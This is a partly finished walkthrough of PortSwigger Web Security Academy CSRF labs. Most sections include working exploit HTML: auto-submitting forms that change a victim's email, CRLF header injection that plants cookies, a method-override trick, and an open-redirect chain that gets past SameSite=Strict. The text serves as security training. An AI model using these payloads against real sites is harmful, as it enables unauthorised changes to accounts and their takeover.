Walk-through of Cross-site request forgery (CSRF) lab on PortSwigger Web Security Academy.
- Apprentice – CSRF vulnerability with no defenses
- Practitioner – CSRF where token validation depends on request method
- Practitioner – CSRF where token validation depends on token being present
- Practitioner – CSRF where token is not tied to user session
- Practitioner – CSRF where token is tied to non-session cookie
- Practitioner – CSRF where token is duplicated in cookie
- Practitioner – SameSite Lax bypass via method override
- Practitioner – SameSite Strict bypass via client-side redirect
- Practitioner – SameSite Strict bypass via sibling domain
- Practitioner – SameSite Lax bypass via cookie refresh
- Practitioner – CSRF where Referer validation depends on header being present
- Practitioner – CSRF with broken Referer validation
Apprentice – CSRF vulnerability with no defenses
Click on My account and enter provided credentials (wiener:peter).
Create a form using the response of the /my-account page
Change the URL in the form’s action.
<body onload='document.forms[0].submit()'>
<form class="login-form" name="change-email-form" action="https://<LAB ID>.web-security-academy.net/my-account/change-email" method="POST">
<label>Email</label>
<input required type="email" name="email" value="hacked@normal-user.net">
<button class='button' type='submit'> Update email </button>
</form>
</body>
Open the Exploit server from the web application. Enter the form in the Body and click Deliver exploit to victim.
Practitioner – CSRF where token validation depends on request method
Click on My account and enter provided credentials (wiener:peter).
Create a form using the response of the /my-account page
Change the URL in the form’s action. Use the GET method instead of POST to bypass the CSRF token validation. Remove the CSRF token from the form.
<body onload='document.forms[0].submit()'>
<form class="login-form" name="change-email-form" action="https://<LAB ID>.web-security-academy.net/my-account/change-email" method="GET">
<label>Email</label>
<input required type="email" name="email" value="hacked@normal-user.net">
<button class='button' type='submit'> Update email </button>
</form>
</body>
Open the Exploit server from the web application. Enter the form in the Body and click Deliver exploit to victim.
Practitioner – CSRF where token validation depends on token being present
Click on My account and enter provided credentials (wiener:peter).
Create a form using the response of the /my-account page
Change the URL in the form’s action. Remove the CSRF token from the form to bypass the token validation.
<body onload='document.forms[0].submit()'>
<form class="login-form" name="change-email-form" action="https://<LAB ID>.web-security-academy.net/my-account/change-email" method="POST">
<label>Email</label>
<input required type="email" name="email" value="hacked@normal-user.net">
<button class='button' type='submit'> Update email </button>
</form>
</body>
Open the Exploit server from the web application. Enter the form in the Body and click Deliver exploit to victim.
Practitioner – CSRF where token is not tied to user session
Click on My account and enter provided credentials (carlos:montoya).
Create a form using the response of the /my-account page
Change the URL in the form’s action. Leave the CSRF token value from carlos. It will be used by wiener:peter.
<body onload='document.forms[0].submit()'>
<form class="login-form" name="change-email-form" action="https://<LAB ID>.web-security-academy.net/my-account/change-email" method="POST">
<label>Email</label>
<input required type="email" name="email" value="hacked@normal-user.net">
<input required type="hidden" name="csrf" value="b4aJ9l531e6GYxBWQB7cortYRNq4Mjwk">
<button class='button' type='submit'> Update email </button>
</body>
Open the Exploit server from the web application. Enter the form in the Body and click Deliver exploit to victim. If it does not work, refresh carlos’ My Account page and use this token value in the exploit.
Practitioner – CSRF where token is tied to non-session cookie
Click on My account and enter provided credentials (carlos:montoya).
Do a search
Do a search and inspect the request. The last search term is kept in the cookies. There is also a csrfKey cookie.
Cookie: csrfKey=68vmJvkVo17WZfwP4HZ9qb3mqTg9N54T; LastSearchTerm=test; session=yQ3xSU0iX4YzfM3TjbtXUG1LILNn88ty
Test to set a new cookie
Try to set a new cookie. Use %0d%0a (return and line feed).
https://<LAB ID>.web-security-academy.net/?search=whatever%0d%0aSet-Cookie:%20cookie1=whatever%3b%20SameSite=None
It works, the new cookie is present in the next request. We will be able to update the csrfKey cookie value.
Create a form using the response of the /my-account page
Change the URL in the form’s action. Set the csrfKey cookie value from carlos. Leave the CSRF token value from carlos. It will be used by wiener:peter.
<body>
<img src="https://<LAB ID>.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=68vmJvkVo17WZfwP4HZ9qb3mqTg9N54T%3b%20SameSite=None" onerror="document.forms[0].submit()">
<form class="login-form" name="change-email-form" action="https://<LAB ID>.web-security-academy.net/my-account/change-email" method="POST">
<label>Email</label>
<input required type="email" name="email" value="hacked@normal-user.net">
<input required type=hidden name=csrf value=1H24dcIBDnv16B2W6EsekbM4Te6NQN8t>
<button class='button' type='submit'> Update email </button>
</form>
</body>
Open the Exploit server from the web application. Enter the form in the Body and click Deliver exploit to victim. If it does not work, refresh carlos’ My Account page and use this token value in the exploit.
Practitioner – CSRF where token is duplicated in cookie
Click on My account and enter provided credentials (wiener:peter).
Change the user’s email address and inspect the request.
POST /my-account/change-email HTTP/1.1
...
Cookie: LastSearchTerm=whatever; csrf=M0n6y2VZCaIhDDKxndqh911t3MNqDcYv; session=tEU1yOdfaxBHjZDc0f1wqcGhTOW2AVYp
...
email=test%40test.com&csrf=M0n6y2VZCaIhDDKxndqh911t3MNqDcYv
The token validation is based on the cookie “csrf” having the same value as the “csrf” parameter in the request’s body.
Create a form using the response of the /my-account page
Change the URL in the form’s action. Set the csrf cookie value to the same value as the csrf paramater in the request’s body. See previous exercise for details on setting the cookie.
<body>
<img src="https://<LAB ID>.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=thisisnotarealtoken%3b%20SameSite=None" onerror="document.forms[0].submit()">
<form class="login-form" name="change-email-form" action="https://<LAB ID>.web-security-academy.net/my-account/change-email" method="POST">
<label>Email</label>
<input required type="email" name="email" value="hacked@normal-user.net">
<input required type=hidden name=csrf value=thisisnotarealtoken>
<button class='button' type='submit'> Update email </button>
</form>
</body>
Open the Exploit server from the web application. Enter the form in the Body and click Deliver exploit to victim.
Practitioner – SameSite Lax bypass via method override
Click on My account and enter provided credentials (wiener:peter).
Change the user’s email address and inspect the request.
POST /my-account/change-email HTTP/1.1
...
email=test%40test.com
Send the request to the Repeater module.
Do a CSRF using the GET method
In the Repeater module, right-click on the request and select Change request method. The request now uses the GET method.
Try overriding the method by adding the _method parameter to the query string. Copy the URL the browser and validate it worked.
https://<LAB ID>.web-security-academy.net/my-account/change-email?email=override%40normal-user.net&_method=POST
Create the CSRF exploit
<script>
document.location = 'https://<LAB ID>.web-security-academy.net/my-account/change-email?email=override%40normal-user.net&_method=POST';
</script>
Open the Exploit server from the web application. Enter the form in the Body and click Deliver exploit to victim.
Practitioner – SameSite Strict bypass via client-side redirect
Click on My account and enter provided credentials (wiener:peter).
POST /login HTTP/1.1
...
username=wiener&password=peter
HTTP/1.1 302 Found
Location: /my-account
Set-Cookie: session=<token>; Secure; HttpOnly; SameSite=Strict
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 0
The session cookie has the SameSite=Strict attribute.
Change the user’s email address and inspect the request.
POST /my-account/change-email HTTP/1.1
...
email=whatever%40example.com&submit=1
Send the request to the Repeater module.
Find a gadget with open redirection
Click on a post and submit a comment. A request is sent with a parameter postId and redirects to the post.
GET /post/comment/confirmation?postId=2 HTTP/1.1
...
...
<script src='/resources/js/commentConfirmationRedirect.js'></script>
<script>redirectOnConfirmation('/post');</script>
...
Test the open redirect
This redirects to my-account page.
https://<LAB ID>.web-security-academy.net/post/comment/confirmation?postId=../my-account
Exploit the CSRF to change email address using the open redirect
Click on Go to exploit server from the web application. Enter this payload in the Body and click Deliver exploit to victim.
URL-encode the “?” (%3f) and “&” (%26) characters in the open redirect payload.
<script>
document.location = 'https://<LAB ID>.web-security-academy.net/post/comment/confirmation?postId=../../my-account/change-email%3femail=override%40normal-user.net%26submit=1';
</script>
Practitioner – SameSite Strict bypass via sibling domain
NOT DONE YET
Practitioner – SameSite Lax bypass via cookie refresh
NOT DONE YET
Practitioner – CSRF where Referer validation depends on header being present
NOT DONE YET
Practitioner – CSRF with broken Referer validation
NOT DONE YET